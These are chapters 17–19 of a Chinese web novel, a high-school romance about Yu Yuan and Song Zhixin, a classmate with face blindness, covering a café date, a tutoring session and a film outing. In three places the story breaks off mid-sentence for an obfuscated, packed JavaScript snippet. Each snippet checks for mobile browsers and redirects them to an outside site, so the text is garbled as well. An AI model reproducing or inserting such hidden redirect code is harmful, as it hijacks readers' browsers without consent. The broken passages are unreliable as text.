他拿起手机,小群被两人刷出千军万马的架势,对话框飞快地更新滚动,全是一堆无意义的尖叫和问号:“……” 蒋汀和祝雨澄都分别给他发来消息。蒋汀说,卧槽郁源你连宋之信长成这样都要瞒着我?祝雨澄说,长成这样啥意思?宋之信除了情商这辈子还缺什么? 郁源一概不回,静音后直接熄屏。横冲直撞的悸动淹没扬眉吐气的快意,胸腔内像有什么东西轰然坍塌。郁源默默垂眼,对他说:“宋之信,没事了。你把眼镜戴上吧。” “郁源。” 宋之信的语气却忽然变得恐慌:“郁源,那边……好像一直有人在看我们。” 郁源困惑,顺着宋之信的视线看去,顿时只剩无语——除了蒋汀祝雨澄还能有谁,两人换了个离他们更近的位置,满脸兴奋,交头接耳眉来眼去。 如此可疑,不被宋之信注意就难怪了! 郁源有些尴尬,犹豫一会儿,决定坦白:“宋之信,那是我的朋友。他们对我们的相处……很好奇,所以忍不住想关注。” “你其实已经见过他们好几次了吧?”郁源道,“刚好趁今天,要不要和他们正式认识一下?” 宋之信却摇头,神情木然:“郁源,原来那是你的朋友吗。对不起,我…我看不清楚,所以没认出来。” “看不清?” 郁源不解:“宋之信,那你把眼镜戴上吧。如果你愿意,我可以让他们两个过来做自我介绍。” “不是的,郁源。”宋之信却没有动作,语速缓慢,“我看不清楚,其实,和戴不戴眼镜没有什么关系。” “……” 郁源微微蹙眉,迷茫地看着他。 宋之信戴上眼镜,固定好镜腿,才用轻描淡写的语气说出来: “因为我有面孔失认症。” “除了家人之外,我只能看清楚你的脸。” 17. 新痣 周遭顿时陷入庞大的静默,只有落地窗外传来车水马龙的轰鸣。 郁源的耳畔嗡一下,所有喧嚣悉数退远,桌下双手已攥紧成拳。他开口,竭力维持语调的平稳:“宋之信,这是什么意思。” “面孔失认症,还有只能看清楚我的脸是……” 郁源最终没有把话说完,阖了阖眼,低声道:“……我去一下洗手间。”说罢站起身,无视宋之信的满脸迷茫,快步离开卡座。 砰地关上洗手间的门,钝响碾过翻涌的心跳,郁源抬眸,连手机都险些要拿不稳。 屏幕上方接连弹出来自蒋汀和祝雨澄的消息提醒,郁源无暇顾及。他打开搜索引擎,缓慢地敲下“面孔失认症”几个字。 百科显示,面孔失认症,又名“脸盲症”,是一种无法进行面孔识别的认知障碍,目前尚未拥有特效疗法……郁源没能看完,直接把手机熄屏。 记不住同学、平时不主动和人搭话、甚至没有发现考场的后座和想收买他作弊的是同一人……所有蛛丝马迹串联成线,像道亮起的闪电,骤然劈在郁源的脑海。 ——原来是这样。 胸口滞塞,郁源沉沉地吐出一口气,抬起眼睛。盥洗镜里映出自己的脸,郁源走近,他的面色被头顶灯光照得苍白,好像连皮肤上细小的绒毛都纤毫毕现。 郁源恍惚,怔怔地对着看了很久,鬼使神差伸手,指尖挨了挨脸颊,触碰到温热与真实。 他感到刹那的安稳,随即而来的是更加颠簸的惶惑。 形形色色的温热与真实前,为什么只有自己能被宋之信所看清,作为宋之信唯一的审美样本,自己究竟又如何在初见时就符合对方关于漂亮的定义? 郁源心乱如麻,已无法单凭自己得到答案。 狭窄的空间内突兀地响起敲门声,郁源猛地回神。手掌覆在门把上,他深呼口气,拉开门走了出去。 桌面甜点饮品已经上齐,宋之信一动不动,依然坐得规规矩矩,愣愣地望着窗外。 直到郁源重新落座,才迟钝地反应过来,视线回到郁源的脸上。 郁源扯开嘴角,朝他笑了笑: “宋之信,让你久等了。” “我们聊一聊吧。” 两人之间萦绕有甜软而馥郁的香气,郁源揽过自己的饮品,又把属于宋之信的那份轻轻推向他: “关于……你的面孔失认症。” 郁源顿了少顷,嗓音有些干涩:“为什么会这样?” “哦,”宋之信好整以暇,扶了下镜框,才说:“最开始,是因为有不想去记住别人的想法。” “等到……自己意识到时候,发现已经很长时间没有看清楚过别人的脸了。” 郁源短促地嗯了声,无意识蹙眉,用吸管在杯里搅起涡旋。 须臾,他才继续道:“那你这个情况,家里都清楚吗?有没有……接受过治疗?” “有的。”宋之信点头,“家里发现后,带我去医院,做了很多检查。不过医生说,现在还没有显著的治疗方案,只能持续观察。” 郁源闻言,张了张嘴,却没能发出声音。宋之信太过坦然和平静,就仿佛自己为他表现出任何怜悯或遗憾都是多余。 “不过郁源,”宋之信又说,“能不能看清楚别人,对我来说,其实没有那么重要。”他的脸上没什么表情,口吻如述家常,“因为,我也没有必须看清楚别人的需求。” “是吗。” 郁源咬着嘴唇,纠结许久,还是追问:“那宋之信,从第一次见到我开始,你就真的……能看清楚我?” “能的,郁源。”宋之信的语气很淡,却有不由分说的笃定,“虽然我不知道,为什么能看清楚你,但第一次见到你的时候,我就在想。” 他说:“这个世界上,除了和我朝夕相处的家人之外,只有你的脸,是最清晰的。” 他想了想,再郑重地补充: “不仅……清晰,还那么漂亮。郁源,你就是我心目中最好看的人。” 身前瓷盘轻晃一下,差点被郁源失手打翻。 “什么,什么最好看啊。” 郁源方寸大乱,极度的羞赧、惊愕、慌张下几乎口不择言:“宋之信,你有脸盲症,又没见过其他人的长相,怎么就能判断我一定是最好看……” “为什么要和其他人比较才知道?” 宋之信却开口,面带不解:“郁源。你的漂亮,就是漂亮。” 他说:“你的皮肤,很白,但是看起来很健康。就像瓷器一样。”又说:“你的眼睛,很大。形状很圆,还特别亮。” 郁源的瞳孔震颤,听宋之信自顾自继续:“你的鼻子,很小。侧面看,鼻尖有点翘,很可爱。” “还有你的嘴唇,是花瓣的颜色,感觉……也像花瓣一样软。笑起来的时候,”宋之信抬手,在自己的嘴边大致比划,“这里,有一颗虎牙。” “郁源。这些地方,每一处都很漂亮。”宋之信慢条斯理,“到底哪里不漂亮?”他说完,目光一凝,露出思索的神情,忽地倾身朝郁源凑近。 郁源简直被他吓一跳,下意识想要躲开,上半身却仿佛被牢牢钉住,不得动弹。他仰脸,脖颈处的肌肉已全然僵硬,任由宋之信动作。 郁源掐住自己的掌心。 ——这是要干什么?蒋、蒋汀祝雨澄都在旁边看着呢! 而宋之信只是垂眼,目光最终抵达他的唇边,视线格外专注,在小块区域细细地流连。 宋之信看过几秒,微微皱眉,语气疑惑:“……咦。” 他说:“郁源,你这里,新长了一颗小痣。” “……哦。” 郁源眨动眼睛,强作镇定:“是吗。” 心跳声已经鼓噪到了无法忽视的地步,郁源抬手,迅速地用几根指节掩住他的视线停留过的位置:“宋之信,谢谢你告诉我。” 他低头,胡乱去切瓷盘里的华夫饼。不经意间抬眼,发现蒋汀和祝雨澄竟然还在偷瞄。 郁源如坐针毡,犀利地剜去一眼,叉子往华夫饼上重重一插,两人不约而同缩了缩肩膀,瞬间安分不少。 “宋之信。” 片刻,郁源烦闷地开口,和他扯了个撇脚的理由:“我很饿了,我们快点去吃饭的地方吧。” - 郁源思绪错乱,整个进餐的过程心神未定,算得上食不知味。偏偏宋之信寡言少语,只要郁源不去搭话,该或不该的,就也一句不说。 这顿饭吃得沉闷,和宋之信从餐厅出来,按照此行最初目的,就应该道别。 郁源犹豫一会儿,把他叫住:“宋之信,你陪我走会儿吧。附近有个公园,我们可以过去散步,正好消食。” “太好了,郁源。” 对于郁源的邀请,宋之信很直白地表现出高兴:“我以为吃完饭,就要结束了。” 郁源默默不语,转身朝前走。宋之信只老实地跟在他后面,并不加快脚步赶上,郁源就主动放慢下来,让两人并排。 路过电玩城的门口,郁源问他:“宋之信,平时会不会打游戏?” 宋之信摇头。郁源顺势和他闲聊:“那你除了做题,还有什么兴趣爱好?” “哦,”宋之信说,“假期有空闲的时候,哥哥会带我去攀岩。” 郁源有些意外:“攀岩?” 宋之信点头,郁源便想到交际舞那天,两人的手交握,宋之信的指腹和掌心的几处位置,确实有层薄薄的茧。 他停下来,难免打量宋之信一番:“之前怎么从来没有和我说过?” “这段时间哥哥的工作很忙。”宋之信就解释,“已经好久没去了。”郁源若有所思地应下,这个话题到此算翻篇。 路过电影院,门口的墙面摆着一副宣传海报。郁源因专业相关,便有所留意,指着海报随口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471561|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道: “宋之信,这部电影很经典的,下周就要重映,如果你感兴趣的话,有时间我们可以一起来看。” 宋之信木然地哦了声,不置可否。思及他的脸盲症,对影视作品无动于衷也是情有可原,郁源并未往心里去。 他们穿过人声鼎沸的街道,尽头再拐弯,眼前出现一座被长林簇拥的大门,耳边的嘈杂渐歇。遥遥望去,公园内部更显得空寂,但能隐约听见有小孩玩闹和跑动的声音。 “上小学初中的时候……” 两人一同走进,郁源别过脸,对宋之信弯了弯嘴角:“如果我心情不好,比如说考砸了,或者和家人朋友吵架了,就喜欢一个人跑到这里来。” 公园足够大,岔路也足够多,找一个角落坐很久,就能把乱七八糟的情绪消化大半。 郁源自顾自说下去:“我记得再往里面走,可能需要拐几个弯,有座秋千架。我喜欢在上面坐一下午。嗯只不过……” 郁源想到什么,忍俊不禁地耸肩:“只不过有时候小孩太多,我还抢不到。” 宋之信定定地看着他,并不说话。好一会儿,才移开视线,环顾眼前的一切。 郁源侧目,偷偷观察宋之信,发现他的眼神实在空白,如同蒙上一层毛玻璃,近乎视若无物。 这让郁源很难把他和那个会真诚地分享花、树、小狗的宋之信相联系,宋之信好像变成一座深沉而封闭的井,只在望进自己时才会聚起纹波。 他带着宋之信漫无目的地瞎晃许久,到夜色渐浓。是时候分开,宋之信打完一个电话,说家里叫了司机来,又问郁源愿不愿意搭便车。 郁源本来要答应,但转念想到宋之信送的礼物还留在岸芷,自己心情迫切,哪怕是一晚上的时间,也不想多寄存,稍后得原路返回去取,最终拒绝。 临别时,见宋之信脸上难掩的不舍,郁源心头一软,询问:“怎么了,宋之信。” “郁源,”宋之信好像很难为情,踌躇一会儿才开口,“我现在,算是能和你做朋友了吗。” 郁源听得好笑,只觉得这个问题稚气又天真,但依旧给他肯定的回答: “当然了,宋之信。” “我们如果不是朋友,除非像你之前那样故意或巧合,你根本没有机会和我见面的。” “不过,”郁源还是隐晦地说,“我们也可能……不会一直是朋友的。宋之信,你明白吗。” 宋之信却瞪大眼睛,问他:“郁源,你要和我分开吗?” “?” “……你要和我分开吗,郁源。”宋之信又重复问一遍,话音明显低落,“是因为我们两个分开了,所以才不会一直是朋友,对吗?” 郁源哭笑不得,愣了一下,才解释:“宋之信,我不是这个意思。” “那你就不要和我分开吧。”宋之信说,“郁源,你那么漂亮,那么好。每次和你在一起……每次见到你,我都会觉得很高兴。” 郁源垂眼,没有立刻回应,耳边拂过徐徐的风声。半晌,才说:“宋之信,我和我另外两个好朋友,私下里经常会见面的。” 宋之信抿紧了唇,不明所以地看着他。 郁源又告诉他:“岸芷是我亲姐姐开的店。如果没有其他事的话,我每周末下午都会过去。” 郁源缓缓抬起眼睛:“我记得你周末也在附近的机构竞赛培训吧?” 他顿了顿,把语气放得很淡:“宋之信,如果你实在想见到我,就来和我见面吧。” 宋之信还是不说话,好像跌入失语的状态里,街边路灯渐次亮起,两只镜片被铺了层薄薄的反光。 郁源又补充:“当然了,如果我想见到你,也会提前和你联系你的。” “就比如……”郁源双手塞进口袋里,漫不经心用鞋尖点了点地面。 他长长地吐出口气。 “就比如宋之信,下周六你有没有时间?” 18. 电影 “其实我早就已经预料到。” 蒋汀双手抱臂,视线在郁源旁边的宋之信身上停留几秒,又回到好友这里:“事情最终会变成这样。” 宋之信表情呆滞,显然不明所以,缓慢地推一下眼镜,站在原地一动不动。 郁源犀利地瞪蒋汀一眼,眸光转动,面对宋之信时顷刻换上一副和颜悦色:“宋之信,站着干嘛呀,怎么还不坐下?” 宋之信在他旁边坐下,郁源笑意盈盈,去拿桌上的菜单:“今天要辛苦你。先点了喝的我们再开始吧?” 而蒋汀眼疾手快,迅速把菜单占据,严丝合缝压在肘下,以至郁源试图抽了两次,都未能得逞。 二人暗中较劲,隐约有剑拔弩张的意味。郁源明面上滴水不漏,和蒋汀四目相对,额角绷起青筋。 再僵持了会儿,就连宋之信都感受到异常,缓缓别过脸,困惑地注视他。 郁源如芒在背,丧失最后的耐心,决定宽宏大量,起身去前台又拿了份菜单。 回来的时候,正碰见蒋汀抬起下巴,毫不避讳地打量宋之信。眼神很直白,几分赤裸裸的探究,但更多的是嫌弃。 宋之信浑然无觉,毕竟脸盲症自带免疫,故而表情平静,与蒋汀的视线交汇刹那,就怔然移开,脸上写满足以让对方怒气值暴涨的纯良与无辜。 “……” 蒋汀的脸色明明暗暗,拳头都拧紧了。郁源赶紧落座,把新拿的菜单摆在自己和宋之信中间:“宋之信,上次我的推荐你觉得怎么样?还是今天想尝试别的。” 两人共看一份菜单,凑得尤其近,肩挨着肩不说,空调风缓缓吹拂,彼此的发梢也颤颤地碰到一起。 蒋汀坐在对面,看郁源话音款款地给对方做推荐,再想到刚才被宋之信明目张胆地挑衅,心中愈发不爽,只能愤然地磨起牙来。 郁源给两人点完单,托腮看向宋之信,又朝他勾了勾唇:“今天的客人好像有点多呢,能麻烦你帮我把菜单送回前台吗?” 宋之信应声,拿起菜单离开卡座。他一转身,郁源瞬间黑脸,阴恻恻睨向对面,语气不善:“蒋汀,你能不能对宋之信友好点?他又跟你没仇。” “少抽风了!” 郁源从包里掏出错题本和试卷,义正辞严:“宋之信今天过来,是为了给我补习的。” “澄姐不也要过来给你补?”郁源言之凿凿,“我是怕她一个人应付我们俩不来,才另找了宋之信。” “……行行行。”蒋汀简直没话说,忍不住翻个白眼,“就你最善解人意!” 说罢,麻利地收拾所有东西,坐进相邻的卡座:“反正宋之信只教你一个,我就不在旁边当电灯泡了。” 宋之信还完菜单,注意到蒋汀的换位,于是问:“郁源,你的朋友……” “不用管他。” 郁源飞快揭过,打开错题本,轻轻推向宋之信,先找了一道题,状似很是苦恼地求助: “宋之信,这道题是上次月考的压轴,老师讲了,我没太听懂。” “哦。”宋之信坐下来,草草浏览过题目,突然对郁源说,“郁源,你稍微等一下。” 他低头,从口袋里摸出自己的手机,严肃地操作一会儿,才郑重道:“可以了,郁源。” 宋之信好整以暇:“郁源,请问你是哪里不明白?” 郁源指了指其中一个步骤。 “哦。这个地方确实容易错。”宋之信看一眼错题本,又看一眼手机,“我之前也犯过类似的错误。” ……这种级别的题你也会错? 郁源奇怪地瞥他,但暂且按耐困惑,追问这个步骤的思路。 “哦,”宋之信看一眼错题本,又看一眼手机,“郁源,你这个问题提的很好,很多同学会忽略,你真细心。” “……” 郁源狐疑皱眉,还没说话,宋之信已经凑近,拿起郁源的笔,在草稿纸上重新演算:“这道题其实要这样。” 和郁源想象中学霸解题习惯于跳步骤不同,宋之信拆分得很细,哪怕是几处合并与化简也能顾及,数字和公式排列下来一目了然。 郁源不知道是否为对方的有意,因此擅自分了心,静静地凝视宋之信专注的表情,神志像被轻轻拨弄的丝弦,变得有些摇摆和轻盈。 宋之信整理完所有步骤,开始给郁源讲解。无奈郁源似懂非懂,于是接连提问,到最后自己也没什么底气,偷瞄宋之信几眼。 宋之信的面色始终如常,语速匀缓,提问全部稳稳当当接下,又清清楚楚抛出,郁源认真听完,把思路再给他复述一遍:“是这样吗,宋之信?” 宋之信点头,忽地抄起桌上的手机,见缝插针又看一眼:“哇,郁源。” 郁源:“?” “你反应真快。”宋之信捏着手机,语气生硬,“这个知识点,我相信,你肯定已经掌握了,实在是太棒了。” 郁源:“。” “……宋之信,”郁源看着他,忍无可忍道,“你是不是在背什么东西?” “……” 宋之信沉默,把视线移向一边。 茅塞顿开的成就感还没来得及膨胀,就被其他情绪取代,郁源怒极反笑,朝他伸手,言简意赅:“手机给我。” 宋之信心虚地垂眼,但依旧照做。郁源接过手机,搜索页面上赫然标着一行加粗黑体:“如何给关系是朋友的同学讲题?” 下面紧跟一段小字: “好的!已收到您的提问。给朋友讲题是互相促进、共同学习的绝佳机会!这位同学作为您的朋友,讲题过程不宜说教,最重要的是营造一种交流合作、充满鼓励性质的氛围!以下是为您量身定制的实用建议与话术——” 附上语录数条。 郁源:“………………………” 郁源无语凝噎,倒吸一口气,退出页面,历史记录顺势弹出。郁源猝不及防,定睛再瞧,更是两眼一黑。 包括但不限于:“怎样才能和同校的同学认识”、“如何礼貌地让同学收下自己的联系方式”、“高中双人交际舞男位教程”……郁源大为震撼。 他抽动嘴角,表情阴晴不定,把手机囫囵塞回宋之信手里。 “郁源,”宋之信端详郁源的神色,说话又不利索,“因为我,我很少给同学讲题,所以……” “……没事。”郁源打断,疲惫地朝他摆手,“起码你题讲得挺好的,我都听明白了。” 他把错题本合上,抄起那沓试卷,嗖地站起身:“现在你可以不用讲了,忙自己的吧。” 无法判断是否为郁源的正话反说,宋之信睁大眼睛,依旧满脸惶恐,好像下一秒又要开始道歉。郁源别无他法,只能解释:“呃宋之信,我的意思是。” 郁源:“我暂时没有疑问了。接下来准备自己做会儿题,有不懂的再过来问你。” “哦…哦。” 宋之信看样子终于放松,从包里拿出一本书。郁源一瞟封皮上的名字——《近代欧式几何学》,这都什么乱七八糟高深莫测的,顿时心有戚戚,忙不迭迈腿走开。 郁源来到邻座,欲盖弥彰咳一声,堂而皇之地坐下了。 “哟。”蒋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471562|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汀翘着二郎腿,“这不是郁源么。”他摊手,“怎么来我这儿了?不和你的宋之信过二人世界?” 郁源懒得理他,煞有介事把试卷摊开,霸道占领了大半桌面,啃着笔帽开始沉思。 对着一道选择题冥思苦想五分钟后,郁源拍了拍发胀的后脑勺,正欲自暴自弃,听见旁边传来游戏的启动音。 “timi——” 蒋汀捧着手机,撞上郁源欲言又止的视线:“……” 二人心照不宣地沉默少顷,蒋汀率先挑了挑眉:“上号吗?” - 祝雨澄到的时候,两个不学无术的狐朋狗友正东倒西歪窝在沙发里打游戏,嘴里念念有词。 这都什么时候了?期末考试迫在眉睫,祝雨澄一阵眩晕,当即给二人骂的狗血淋头。二人自知理亏,关了游戏,规规矩矩坐直了挨训。 但祝雨澄疑似双标,只指名道姓地说蒋汀,另一位从犯好像完全隐身。蒋汀不满地叫嚷:“澄姐你怎么只骂我不骂郁源?” 祝雨澄还挺理直气壮:“郁源是我教吗?他又不归我管!” 她一瞥隔壁桌看书的宋之信,压低声音:“再说了,宋之信在这里,我不要维护圆圆的形象?” 她说完,朝郁源飞去一眼。两人对视刹那,郁源默默岔开话题,催促祝雨澄先点东西。 几人再点了饮料和甜品,郁源见岸芷今天下午的生意实在很好,甚至店外还有客人在等候,便同他俩商量,要不干脆都坐去宋之信那桌,腾出一处空余。 不管是否包裹私心,理由确实正当充分,两人倒是没有什么意见,郁源再问过宋之信的想法,得到对方的肯允,才最终把两人带来。 蒋汀和祝雨澄坐在另一侧,在郁源的疯狂暗示下勉为其难或是落落大方,总算是都和宋之信正式打过招呼。 宋之信的反应有些拘谨,简短地回一句“你们好”,就没有下文,面无表情把视线重新埋进纸页里。 气氛霎时微妙,蒋汀冷笑,拿起手机。三人小群咚一声,弹出消息—— 蒋汀:【哈。】 蒋汀:【我没懂了。】 蒋汀:【他到底在装什么?】 蒋汀:【故意的吧?当着我们的面看这种天书。】 郁源:【?】 郁源:【你少敏感肌。】 眼看事态升级,即将爆发为世纪大战,祝雨澄审时度势,连忙拽了拽蒋汀的胳膊,打字发送:【你俩还学不学?不学我走人了。】 蒋汀这才撇嘴,不情不愿放下手机。 枯坐大概半小时,郁源实在没心思学习,装模作样的精力也无,干脆撂了笔:“我不想学了。晚上都有空吗,不如我们找点事做。” “行啊,”蒋汀早就心不在焉,最先响应,“你艺考不是要求看很多电影?要不我们先一起吃个饭,然后去看电影呗。” 祝雨澄提议:“最近不是有部很经典的高分老片重映了吗,要不就看那部吧,省得踩雷。” “也是。” 郁源已经刷到几次那部电影的短视频宣发,便打开软件看票:“我看下附近那家电影院的场次。嗯,今天只剩下一场了,在晚上……” 他话还没说完,身旁的宋之信蓦地把书一关,纸页合上挤压空气,发出不轻不重的声响。 “……”郁源皱眉,话音戛然而止,几人不约而同望向宋之信。 “郁源。”宋之信推了下眼镜,缓缓道,“你不是说了。” 他垂眼,表情明显是不怎么高兴了: “这个电影,要和我一起去看吗。” 19. 酒精 顿时间三脸懵逼。 宋之信说完,抿紧嘴唇,翻开那本《近代欧式几何学》继续看,好像彻底置身事外。 蒋汀和祝雨澄面面相觑,最后齐齐扭头,目光瞄准郁源。郁源同样傻眼,茫然中大脑里只闪过一个念头——自己究竟什么时候说过? 郁源在回忆里苦苦搜寻一番,这才想起和宋之信吃饭那天,两人路过电影院,自己顺口和他提了一句。 但当时看宋之信的反应淡漠,郁源就也抛之脑后,哪能想到宋之信不仅记得,还当做了约定。 “……” 郁源捉襟见肘,心中揪起一团乱麻,这次是真的不知道如何回应宋之信。 直到蒋汀轻咳几声,才终于打破这尴尬的沉默。他颔首示意郁源祝雨澄,自己端起手机:【郁源,不是吧。】 蒋汀:【你们不是还没在一起吗?】 蒋汀:【按理来说这才暧昧期,宋之信的占有欲就那么强?】 ……这都什么跟什么??? 郁源被他说得心烦意乱,咬住下唇死死盯着手机,这时祝雨澄也发话:【圆圆,不如这样吧?】 祝雨澄:【既然你都和宋之信约好了,要不我跟蒋汀这次就不去了。】 郁源感激地看她一眼,眉毛稍稍一松。 不料蒋汀飞出一句:【不行。】 郁源:“?” 他骤然抬眼,看向蒋汀。 蒋汀面色如常,打出来的文字却坚决得寸步不让:【我不同意。凭什么是我们两个要让着宋之信?】 蒋汀:【我不管,反正这电影我今天是必须看。】 他手上动作停了停,继续声明:【而且必须是这个电影院的这一场,少了任何一个条件都不行。】 蒋汀态度强硬,丝毫不再给商量的余地,这下连祝雨澄都面露难色,捧着手机久久没有再发言。 郁源坐立难安地握紧手机,思来想去,勉强找到一个迂回的方案。他深呼口气,下定决心:“宋之信,你跟我过来一下。” 几人的视线又重新聚焦在宋之信身上。 宋之信从纸页里抬头,顺从地站起来,镜片后的眼睛一错不错地看着郁源。 郁源还没有从他的眼睛里看见过类似现在的情绪,比起先前出现过的委屈、沮丧,或许更恰当的形容是难过和失望,浓重得像笔尖戳下的墨渍,郁源的心头因此狠狠一跳。 他把宋之信拉到无人的角落,轻声说:“好了好了宋之信。我已经想起来了。” 郁源和他解释:“我的记性不是很好,加上当时说的时候,我看你没什么反应,以为你不感兴趣,所以把这件事忘记了。” 宋之信垂眼看他,没有说话,但眸光微微闪烁。郁源捕捉到,继续说下去: “我的朋友,他们也想看这部电影,本来就快要期末考试,大家的假期时间都很紧张。” “趁着今天刚好见面,我们才决定要一起看的。”郁源说,“宋之信,看票的时候,我就默认你会和我们一起看,准备选的也是四人连座的电影票。” “如果…如果你因为我忘记了和你的约定不高兴,”郁源往前凑近他,仰起脖颈,发顶几乎蹭到宋之信的下巴,“那确实是我的问题。” 他抬脸,视线撞进宋之信漆黑的瞳孔,语气放得平淡,眸底却闪烁且潮湿:“但如果你认为我忽略了你……” 郁源阖了阖眼,长睫低落下来:“那宋之信,我真的会觉得很伤心的。” “郁源。” 宋之信果然慌乱起来,连忙支支吾吾澄清:“我没有这样认为,你……你不要伤心。” “……” 郁源达到目的,暗自松口气,却还是压着嘴角,因此显得神情并没有多大变化。 “……郁源,”宋之信站在原地,好像更无措,反倒开始笨拙地安慰,“你才,你才没有忽略我。约定,当时是我也没有说清楚,所以让你误会。” 他顿了顿,又说:“还有电影……电影和你的朋友们一起看,我也不介意的。” - 解决办法是祝雨澄和蒋汀坐稍后一排,自己和宋之信坐在前排的连坐。 为了息事宁人尤其让蒋汀少说两句,郁源又大包大揽,决定这场电影请三人看。 进场前,蒋汀突然说要去楼下超市买喝的,最后带回来几罐鸡尾酒饮料。 这牌子郁源很熟,平时他们几个约着去谁家里玩经常买着喝,但现在是什么场合?郁源翻一翻塑料袋,没有找到果汁,简直无语:“怎么光买这个?你当是我们放假聚会呢?” 蒋汀朝他挤眉弄眼:“你懂什么?这是一种考验。既然宋之信喜欢你,就必须要接纳和融入我们!” 郁源有气无力:“你别添乱了。” “哎呀圆圆,”蒋汀满不在乎,“就这度数,喝不醉人的。再说了,他要是不想喝,也可以不喝。” 郁源烦躁地看他一眼,想自己去给宋之信买瓶果汁,蒋汀已经迈腿走向宋之信,热情地把饮料塞进他手里。 电影快要开场,看宋之信接过饮料后,虽略微迷茫,但没有表露出任何不情愿,郁源只能粉饰太平,就此作罢。 电影开始于男女主人公搬入新公寓,画面从复古陈旧的年代感逐渐过渡到水汽氤氲的雨幕。 郁源想到之后还要再拉片写影评,看得格外细致和认真,恨不得每个景别变换和拍摄手法都牢记于心。 以至宋之信突然靠过来时,郁源的肩膀上覆加重量,心脏却陡然一悬。 偏偏察觉背后有人目光如炬,郁源猜测大概率是蒋汀,不敢轻举妄动,只轻声问:“宋之信,怎么了?” 昏暗中,郁源侧目,宋之信手边的饮料的拉环已经被打开。郁源睁大眼睛,这不会是醉了吧。 “郁源,我头晕。” 宋之信小声嘀咕一句,呼吸喷洒在郁源的脖颈,湿热而绵密的,勾动着耳后碎发:“……不舒服。” “……” 郁源提心吊胆,生怕宋之信再有什么贸然的举动,便用安抚的语气回答:“宋之信,那你揉一揉自己的太阳穴,看看能不能缓解。” “哦。” 宋之信听话,离开郁源的肩膀,抬手去摁自己的太阳穴。 剩下的时间,他都愣愣地望向银幕,瞳孔被映得晶亮,光影、色彩悉数分解揉碎,迷迷蒙蒙染上眼底。 直到银幕上开始滚动演职员表,影厅内开始有人陆续离场。郁源意犹未尽,正暗自感慨经典不愧伟大,听见旁边宋之信说:“郁源。这个电影真的好奇怪。” “他们为什么喜欢走来走去,还说一些莫名其妙的台词,会突然就又哭又笑的。”宋之信皱了皱眉,“我根本不知道在讲什么。” 文艺片大多含蓄晦涩,本就有相当门槛,何况是对于面孔失认的宋之信。 郁源本想直接告诉他故事梗概,还没开口,宋之信又自说自话般轻声道:“还有男女主角,他们的关系不是邻居吗。为什么最后男主角会问女主角愿不愿意跟自己走。” 郁源于是不再说话了。毕竟宋之信先前已对自己承认,隐喻、留白与试探,是他天生无法理解乃至共情的领域,比起试图去牵引宋之信感知和进入,或许也可以不带他涉足。 - 散场已经比较晚,几人走出电影院,宋之信的手机响铃,便停下来,在三人身边接听。 他的脸色确实有些酡红,但好在口齿清晰,没有明显的异样。对面大概是宋之信的家人,问了句什么,宋之信点头:“嗯,是和朋友一起看的。” 隔了一会儿,宋之信回答:“三个人。”须臾,又说:“很开心。” 对面似乎是继续问了什么问题,宋之信很迅速地接话:“另外的两个人不是朋友。他们是我朋友的朋友。” 蒋汀和祝雨澄闻言,戏谑的或讶异的,目光火热地朝郁源投来。郁源耳廓生烫,只得别过脸,装作没听见。 宋之信挂断电话,说司机马上会来接,问他们三人愿不愿意搭车。蒋汀哼了声,故意说:“好啊。” “……” 祝雨澄面不改色,拽了拽蒋汀的衣袖,笑着说:“我们俩住的地方都能地铁直达,挺方便的,就不用送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471563|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “……”蒋汀瞪了她一眼,半晌没说话,最终从牙缝里挤出一句,“是啊,我俩确实没必要,就让郁源跟你上车吧,我们先走了。” 宋之信听不懂言外之意,也没有再挽留,二人向他们道别,一起朝地铁站的方向走去。 没过很久,一辆商务车在临近的街角停下。 郁源本来以为宋之信会坐副驾,没想到和他同上了后座,两个人各自坐在一端,宋之信把安全带系好,抬头朝着驾驶座叫了声叔叔。 司机笑着应一声,问过郁源家庭住址,转动方向盘。 车辆驶上宽阔的马路,夜色已经很晚,天际一片浓稠的黑,远灯显得模糊,郁源把车窗摇下,看着闪烁的街景发呆。 开进一条隧道,郁源收回视线,发现宋之信正在看着自己。 不知道什么时候开始看,也不知道看了多久。镜片后的眼神很镇定,很沉静,映在昏暗的车厢内,像两片深深的潭水,随着隧道里光栅的闪动而波光粼粼。 “你……怎么了。” 郁源迟疑地问他。 宋之信脸上没什么表情,语气刻板而正经:“郁源,你的眼睛好亮。”说着就解开安全带,摇摇晃晃倾身,莽莽撞撞要靠近。 “!” 郁源被他吓一跳,下意识后仰,而腰窝磕碰到车把,已然是退无可退。失措中手脚都不知怎么摆放,只能虚张声势地朝他低喝一声: “宋之信,你想干什么?!” “郁源,我头还是晕。” 